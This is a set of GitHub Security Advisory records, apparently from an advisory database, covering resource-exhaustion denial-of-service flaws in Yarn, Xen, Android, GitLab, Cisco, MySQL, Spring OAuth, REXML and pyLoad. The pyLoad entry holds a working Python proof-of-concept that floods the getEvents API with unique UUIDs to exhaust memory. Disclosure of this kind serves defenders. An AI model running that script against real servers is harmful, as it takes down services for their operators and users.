CWE-400

{
  "affected": [],
  "aliases": [
    "CVE-2025-8262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-28T07:15:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in yarnpkg Yarn up to 1.22.22. It has been classified as problematic. Affected is the function explodeHostedGitFragment of the file src/resolvers/exotics/hosted-git-resolver.js. The manipulation leads to inefficient regular expression complexity. It is possible to launch the attack remotely. The patch is identified as 97731871e674bf93bcbf29e9d3258da8685f3076. It is recommended to apply a patch to fix this issue.",
  "id": "GHSA-9xhp-f235-5v37",
  "modified": "2025-07-28T09:31:16Z",
  "published": "2025-07-28T09:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yarnpkg/yarn/pull/9199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yarnpkg/yarn/pull/9199/commits/97731871e674bf93bcbf29e9d3258da8685f3076"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.317850"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.317850"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.617393"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-15470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-17T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Xen through 4.11.x. The logic in oxenstored for handling writes depended on the order of evaluation of expressions making up a tuple. As indicated in section 7.7.3 \"Operations on data structures\" of the OCaml manual, the order of evaluation of subexpressions is not specified. In practice, different implementations behave differently. Thus, oxenstored may not enforce the configured quota-maxentity. This allows a malicious or buggy guest to write as many xenstore entries as it wishes, causing unbounded memory usage in oxenstored. This can lead to a system-wide DoS.",
  "id": "GHSA-9xrv-h87m-r2vc",
  "modified": "2022-05-14T02:00:01Z",
  "published": "2022-05-14T02:00:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15470"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00013.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201810-06"
    },
    {
      "type": "WEB",
      "url": "http://xenbits.xen.org/xsa/advisory-272.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-0170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In IMY_Event of eas_imelody.c, there is possible resource exhaustion due to a missing bounds check. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-127310810",
  "id": "GHSA-9xvw-9vhx-q8vf",
  "modified": "2022-05-24T17:20:13Z",
  "published": "2022-05-24T17:20:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0170"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2020-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:22Z",
    "severity": "MODERATE"
  },
  "details": "A Denial of Service (DoS) condition has been discovered in GitLab CE/EE affecting all versions before 16.10.6, version 16.11 before 16.11.3, and 17.0 before 17.0.1. It is possible for an attacker to cause a denial of service using a crafted wiki page.",
  "id": "GHSA-9xx7-rp3v-8694",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6502"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2263638"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/433534"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-34720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-09T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the IP Service Level Agreements (IP SLA) responder and Two-Way Active Measurement Protocol (TWAMP) features of Cisco IOS XR Software could allow an unauthenticated, remote attacker to cause device packet memory to become exhausted or cause the IP SLA process to crash, resulting in a denial of service (DoS) condition. This vulnerability exists because socket creation failures are mishandled during the IP SLA and TWAMP processes. An attacker could exploit this vulnerability by sending specific IP SLA or TWAMP packets to an affected device. A successful exploit could allow the attacker to exhaust the packet memory, which will impact other processes, such as routing protocols, or crash the IP SLA process.",
  "id": "GHSA-c243-364q-9gwf",
  "modified": "2022-10-25T19:00:23Z",
  "published": "2022-05-24T19:14:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34720"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ipsla-ZA3SRrpP"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-30T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the UDP processing functionality of Cisco IOS XE Software for Embedded Wireless Controllers on Catalyst 9100 Series Access Points could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition. This vulnerability is due to the improper processing of UDP datagrams. An attacker could exploit this vulnerability by sending malicious UDP datagrams to an affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a DoS condition.",
  "id": "GHSA-c26m-p2mq-4vrw",
  "modified": "2022-10-06T00:00:54Z",
  "published": "2022-10-01T00:00:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20848"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wlc-udp-dos-XDyEwhNz"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-53053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-21T20:20:43Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML).  Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and  9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as  unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).",
  "id": "GHSA-c276-g28g-f228",
  "modified": "2025-10-21T21:33:42Z",
  "published": "2025-10-21T21:33:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53053"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security.oauth:spring-security-oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0.RELEASE"
            },
            {
              "fixed": "2.5.2.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security.oauth:spring-security-oauth2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0.RELEASE"
            },
            {
              "fixed": "2.4.2.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-22969"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-26T13:01:06Z",
    "nvd_published_at": "2022-04-21T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Spring Security OAuth versions 2.5.x prior to 2.5.2 and older unsupported versions are susceptible to a Denial-of-Service (DoS) attack via the initiation of the Authorization Request in an OAuth 2.0 Client application. A malicious user or attacker can send multiple requests initiating the Authorization Request for the Authorization Code Grant, which has the potential of exhausting system resources using a single session. This vulnerability exposes OAuth 2.0 Client applications only.",
  "id": "GHSA-c2cp-3xj9-97w9",
  "modified": "2024-05-14T16:05:30Z",
  "published": "2022-04-22T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22969"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2022-22969"
    },
    {
      "type": "WEB",
      "url": "https://tanzu.vmware.com/security/cve-2022-22969"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of service in Spring Security OAuth2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "rexml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.3"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T18:26:48Z",
    "nvd_published_at": "2025-09-17T18:15:52Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe REXML gems from 3.3.3 to 3.4.1 have a DoS vulnerability when parsing XML containing multiple XML declarations.\nIf you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.\n\n### Patches\n\nREXML gems 3.4.2 or later include the patches to fix these vulnerabilities.\n\n### Workarounds\n\nDon\u0027t parse untrusted XMLs.\n\n### References\n\n* https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767/ : An announcement on www.ruby-lang.org",
  "id": "GHSA-c2f4-jgmc-q2r5",
  "modified": "2025-09-19T14:41:30Z",
  "published": "2025-09-17T18:26:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/security/advisories/GHSA-c2f4-jgmc-q2r5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58767"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/commit/5859bdeac792687eaf93d8e8f0b7e3c1e2ed5c23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/rexml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rexml/CVE-2025-58767.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2025/09/18/dos-rexml-cve-2025-58767"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "REXML has DoS condition when parsing malformed XML file"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48987"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:35:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description:\nThe `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.\n\n## Vulnerable Code:\nhttps://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17\n\n\u003e Here the client is added to the `clients` list but never cleared the inactive clients.\n\n## Exploitation:\n1.  **Start pyLoad server** (Ensure the `pyload` server is running)\n2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).\n3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.\n```python\nimport requests\nimport uuid\nimport time\n\n# Configuration\nURL = \"http://localhost:8000/api/getEvents\"\nNUM_REQUESTS = 100000\n\nheaders = {\n\t\"X-API-Key\" : \"\u003cYOUR_APIKEY\u003e\"\n}\n\nprint(f\"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...\")\n\nfor i in range(NUM_REQUESTS):\n   # Generating a new UUID\n    uid = str(uuid.uuid4())\n    try:\n        # Sending request\n        requests.get(URL, params={\"uuid\": uid}, headers=headers, timeout=5)\n        if i % 1000 == 0:\n            print(f\"Sent {i} requests...\")\n    except requests.exceptions.RequestException as e:\n        print(f\"Error at request {i}: {e}\")\n        break\n\nprint(\"Attack complete. Check memory usage.\")\n\n```\n5.  **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands).\n```bash\nPID=$(pgrep -f \"pyload\"); while true; do ps -o rss= -p $PID; sleep 1; done\n```\n\n6.  **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.\n\nhttps://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686\n\n## Impact:\n- Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.\n\n## Mitigations:\n- **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones.\n- **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.",
  "id": "GHSA-c2f9-4mc8-j656",
  "modified": "2026-07-09T13:35:28Z",
  "published": "2026-07-09T13:35:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager"
}